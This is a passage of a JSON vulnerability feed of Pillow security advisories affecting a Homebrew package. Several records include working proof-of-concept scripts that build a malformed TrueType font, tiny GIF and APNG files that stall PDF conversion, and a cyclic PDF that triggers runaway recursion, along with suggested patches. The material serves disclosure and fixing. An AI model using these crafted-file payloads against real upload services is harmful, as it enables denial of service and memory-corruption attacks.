\"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112406"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112891","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-fc9g-5qg7-mf45","CVE-2026-112891","BIT-pillow-2026-112891"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Quadratic GIF comment copying during save","details":"On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-fc9g-5qg7-mf45"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112891"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112892","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-gg2r-wvfm-q9rx","CVE-2026-112892","BIT-pillow-2026-112892"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: MSP RLE decoder expands a tiny file into unbounded memory","details":"### Summary\nThe MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels.\n\n### Details\nThe MSP decoder writes each run into an unbounded `io.BytesIO` and can expand roughly 85x per run:\n\n- `src/PIL/MspImagePlugin.py:144-146`\n\n### Impact\nMemory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so `MAX_IMAGE_PIXELS` does not bound it.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-gg2r-wvfm-q9rx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112892"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/5dcb630b9798efd91929cb873d677aeee6ed0bb3"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112893","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-j4m9-6w36-pw47","CVE-2026-112893","BIT-pillow-2026-112893"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Invalid free in FreeType glyph rendering when a stroker is active","details":"### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\"          # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\">H\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n    rec = 12 + i * 16\n    tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n    off, length = struct.unpack(\">II\", raw[rec+8:rec+16])\n    tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n    o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0]\nelse:\n    o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\">h\", raw, glyf_off + o0, 5000)   # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20)             # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112893"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112894","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-jg86-v3jv-hrpm","CVE-2026-112894","BIT-pillow-2026-112894"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)","details":"```\n============================================================================\nQuadratic-time DoS in PDF save_all (PdfParser.next_object_id)\nLocation: src/PIL/PdfParser.py:629  in next_object_id()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.\n\nThe cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N²). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay.\n\nThe precondition is that the application calls `im.save(..., \"PDF\", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear.\n\n## Details\n\nSaving a multi-frame image as a multi-page PDF (`im.save(fp, \"PDF\", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far.\n\nA 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not):\n\n| frames | GIF size | `im.save(BytesIO(), \"PDF\", save_all=True)` | peak RSS |\n|---|---|---|---|\n| 2 000 | 30 KB | 1.1 s | |\n| 8 000 | 120 KB | 14.7 s | |\n| 16 000 | 240 KB | 70 s | 60 MB |\n| 32 000 | 480 KB | 262 s | 95 MB |\n| 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | |\n\nEach doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly.\n\nThe per-page id reservation loop runs before any page is written:\n\n```python\n# src/PIL/PdfImagePlugin.py:247-259  (_save)\n    for im in ims:\n        im_number_of_pages = 1\n        if save_all:\n            im_number_of_pages = getattr(im, \"n_frames\", 1)\n        …\n        for i in range(im_number_of_pages):\n            image_refs.append(existing_pdf.next_object_id(0))\n            if im.mode == \"P\" and \"transparency\" in im.info:\n                image_refs.append(existing_pdf.next_object_id(0))\n\n            page_refs.append(existing_pdf.next_object_id(0))\n            contents_refs.append(existing_pdf.next_object_id(0))\n```\n\n`n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here:\n\n```python\n# src/PIL/PdfParser.py:626-634\n    def next_object_id(self, offset: int | None = None) -> IndirectReference:\n        try:\n            # TODO: support reuse of deleted objects\n            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)\n        except ValueError:\n            reference = IndirectReference(1, 0)\n        if offset is not None:\n            self.xref_table[reference.object_id] = (offset, 0)\n        return reference\n\n# src/PIL/PdfParser.py:175-178  (XrefTable)\n    def keys(self) -> set[int]:\n        return (\n            set(self.existing_entries.keys()) - set(self.deleted_entries.keys())\n        ) | set(self.new_entries.keys())\n```\n\n`_save` passes `offset=0`, so every reserved id is inserted into `xref_table.new_entries`. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then `max()` scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before `_write_image` is reached for the first frame. Nothing on this path consults `MAX_IMAGE_PIXELS` (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises `OSError` only once the id loop has finished and the first missing frame is seeked.\n\nThis reservation scheme was introduced in `6207b44ab1ff` (\"issue #2959: support appending to existing PDFs\", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically.\n\nFor contrast, `write_obj(ref, …)` with an already-reserved `ref` (`src/PIL/PdfParser.py:548-555`) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed.\n\n## Impact\n\nThe precondition is that the application saves the attacker's image as PDF with `save_all=True`; `Image.open()` and `load()` alone do not reach this code. An application that converts uploaded images to PDF this way — the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input — can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4½ minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in `acTL` drives the same quadratic loop, up to the 2³¹ cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and `save_all` saves of images with tens or hundreds of frames, are unaffected in practice.\n\nThis is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS `readline`), but on the PDF *writer* side, reached only through a save rather than on open, and driven by frame count rather than by line structure.\n\n## Reproducing\n\n`repro` is a single Python script. Run it with the Python that has Pillow installed (`./repro`). It uses under 100 MB of RAM and writes no files.\n\n**Input.** Two kinds of file are built in memory, each with 2 000 and 8 000 frames:\n\n- `gif(n)`: a valid animated GIF — a `GIF89a` header with a 1×1 logical screen and a 2-colour global palette, then `n` copies of one 15-byte frame (a 1×1 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has.\n- `apng(n)`: a 125-byte APNG — a 1×1 greyscale `IHDR`, an `acTL` chunk declaring `n` frames, one `fcTL`, one `IDAT` and `IEND`. Only the first frame exists; the other `n − 1` are merely declared.\n\n**Action.** Each file goes through what an upload-to-PDF converter would do: `Image.open(BytesIO(data))`, then `im.save(BytesIO(), \"PDF\", save_all=True)`, timed with `time.process_time()`. For the APNG the save raises `OSError` once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all `n` declared frames, so the exception is caught and the CPU time up to it is recorded.\n\n**Expected output** (stock build at this commit):\n\n```\nGIF  frames= 2000 file= 30020 B  save CPU=  1.03s  result=ok\nGIF  frames= 8000 file=120020 B  save CPU= 11.68s  result=ok\nGIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x)\nAPNG frames= 2000 file=   125 B  save CPU=  0.65s  result=OSError(Truncated File Read)\nAPNG frames= 8000 file=   125 B  save CPU= 10.48s  result=OSError(Truncated File Read)\nAPNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x)\nBUG\n```\n\nA linear save would take about 4× as long for 4× the frames; here the GIF save grows ~11× and the APNG save ~16×, the latter with the file size fixed at 125 bytes. The script prints `BUG` when the save CPU for either format grows at least 8× for 4× the frames (twice the linear expectation), otherwise `OK`. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file.\n\nWith the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7×) and the APNG save 0.01 s / 0.03 s, and the script prints `OK`.\n\n## Suggested fix\n\nMake `next_object_id()` O(1) by tracking the highest object id ever stored in `XrefTable` instead of rebuilding the key set on every call. The attached patch does this in `src/PIL/PdfParser.py`:\n\n```diff\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ class XrefTable:\n         self.deleted_entries = {0: 65536}  # object ID => generation\n         self.reading_finished = False\n+        self.max_object_id = 0  # highest object ID ever stored, deleted or not\n\n     def __setitem__(self, key: int, value: tuple[int, int]) -> None:\n         if self.reading_finished:\n             self.new_entries[key] = value\n         else:\n             self.existing_entries[key] = value\n+        if key > self.max_object_id:\n+            self.max_object_id = key\n         if key in self.deleted_entries:\n             del self.deleted_entries[key]\n@@ class PdfParser:\n     def next_object_id(self, offset: int | None = None) -> IndirectReference:\n-        try:\n-            # TODO: support reuse of deleted objects\n-            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)\n-        except ValueError:\n-            reference = IndirectReference(1, 0)\n+        # TODO: support reuse of deleted objects\n+        reference = IndirectReference(self.xref_table.max_object_id + 1, 0)\n         if offset is not None:\n             self.xref_table[reference.object_id] = (offset, 0)\n         return reference\n```\n\n`existing_entries` is only ever populated through `__setitem__` (from `read_xref_table` / `read_prev_trailer`), so the counter also covers ids read from an existing file in `append=True` mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (`del_root()` / `rewrite_pages()` in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id — the more conservative choice for an xref table, and the one the existing `TODO: support reuse of deleted objects` comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, `Tests/test_file_pdf.py` and `Tests/test_pdfparser.py` pass, and the reproducer prints `OK`.\n\nAn alternative limited to the writer would be to reserve the `3 × number_of_pages` ids in `PdfImagePlugin._save()` arithmetically from a single `next_object_id()` call, but fixing the allocator also covers `write_obj(None, …)` callers.\n\nThe patch does not address a separate, linear issue: `PdfImagePlugin._save()` still trusts `n_frames` before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG `acTL` up to 2³¹) still makes it loop `3 × n_frames` times before the first failing seek. Reserving ids per successfully seeked frame, or validating `n_frames` in such plugins, would close that.\n\n## The patch\n\nTrack the highest object ID in XrefTable so PdfParser.next_object_id() is O(1) instead of rebuilding and scanning the key set\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..82ebfb867 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -133,12 +133,15 @@ class XrefTable:\n         )  # object ID => (offset, generation)\n         self.deleted_entries = {0: 65536}  # object ID => generation\n         self.reading_finished = False\n+        self.max_object_id = 0  # highest object ID ever stored, deleted or not\n \n     def __setitem__(self, key: int, value: tuple[int, int]) -> None:\n         if self.reading_finished:\n             self.new_entries[key] = value\n         else:\n             self.existing_entries[key] = value\n+        if key > self.max_object_id:\n+            self.max_object_id = key\n         if key in self.deleted_entries:\n             del self.deleted_entries[key]\n \n@@ -624,11 +627,8 @@ class PdfParser:\n         self.orig_pages = self.pages[:]\n \n     def next_object_id(self, offset: int | None = None) -> IndirectReference:\n-        try:\n-            # TODO: support reuse of deleted objects\n-            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)\n-        except ValueError:\n-            reference = IndirectReference(1, 0)\n+        # TODO: support reuse of deleted objects\n+        reference = IndirectReference(self.xref_table.max_object_id + 1, 0)\n         if offset is not None:\n             self.xref_table[reference.object_id] = (offset, 0)\n         return reference\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 1,791 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# PDF save_all is O(frames^2): PdfParser.next_object_id() does max(XrefTable.keys()),\n# and keys() rebuilds sets of every id reserved so far, 3 calls per frame.\n# (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely\n# *declares* N frames - ids are reserved for all N before the first seek fails.\nimport io, struct, time, zlib\nfrom PIL import Image\n\ndef gif(n):\n    return (b\"GIF89a\\x01\\x00\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\"\n            + b\"\\x2c\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02\\x02\\x44\\x01\\x00\" * n + b\"\\x3b\")\n\ndef apng(n):\n    def chunk(t, d):\n        return struct.pack(\">I\", len(d)) + t + d + struct.pack(\">I\", zlib.crc32(t + d))\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\"\n            + chunk(b\"IHDR\", struct.pack(\">IIBBBBB\", 1, 1, 8, 0, 0, 0, 0))\n            + chunk(b\"acTL\", struct.pack(\">II\", n, 0))\n            + chunk(b\"fcTL\", struct.pack(\">IIIIIHHBB\", 0, 1, 1, 0, 0, 1, 1, 0, 0))\n            + chunk(b\"IDAT\", zlib.compress(b\"\\x00\\x00\")) + chunk(b\"IEND\", b\"\"))\n\ndef save_pdf(data):\n    im = Image.open(io.BytesIO(data))\n    t = time.process_time()\n    try:\n        im.save(io.BytesIO(), \"PDF\", save_all=True)\n        res = \"ok\"\n    except OSError as e:          # APNG: frames don't exist, fails *after* the id loop\n        res = f\"OSError({e})\"\n    return time.process_time() - t, res\n\nbug = False\nfor name, make in ((\"GIF\", gif), (\"APNG\", apng)):\n    t = {}\n    for n in (2000, 8000):\n        data = make(n)\n        t[n], res = save_pdf(data)\n        print(f\"{name:4} frames={n:5} file={len(data):6} B  save CPU={t[n]:6.2f}s  result={res}\")\n    growth = t[8000] / t[2000]\n    print(f\"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)\")\n    if growth >= 8:\n        bug = True\nprint(\"BUG\" if bug else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-jg86-v3jv-hrpm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112894"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/f6a852555f1a1bdff7781abf25f1a3b8bd6ce6cb"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112895","published":"2026-10-21T09:14:41Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-p4wg-p73j-c528","CVE-2026-112895","BIT-pillow-2026-112895"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","details":"### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).\nobjs = {\n    1: b\"<< /Type /Catalog /Pages 2 0 R >>\",\n    2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\",\n    3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n    off[oid] = len(buf)\n    buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\")   # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112895"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112898","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-rfgq-q3w2-pmv2","CVE-2026-112898","BIT-pillow-2026-112898"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Image.quantize() with empty palette leaks uninitialized stack memory","details":"```\n============================================================================\nImage.quantize() with empty palette leaks uninitialized stack memory\nLocation: src/libImaging/Palette.c:216  in ImagingPaletteCacheUpdate()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.\n\nThe bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops 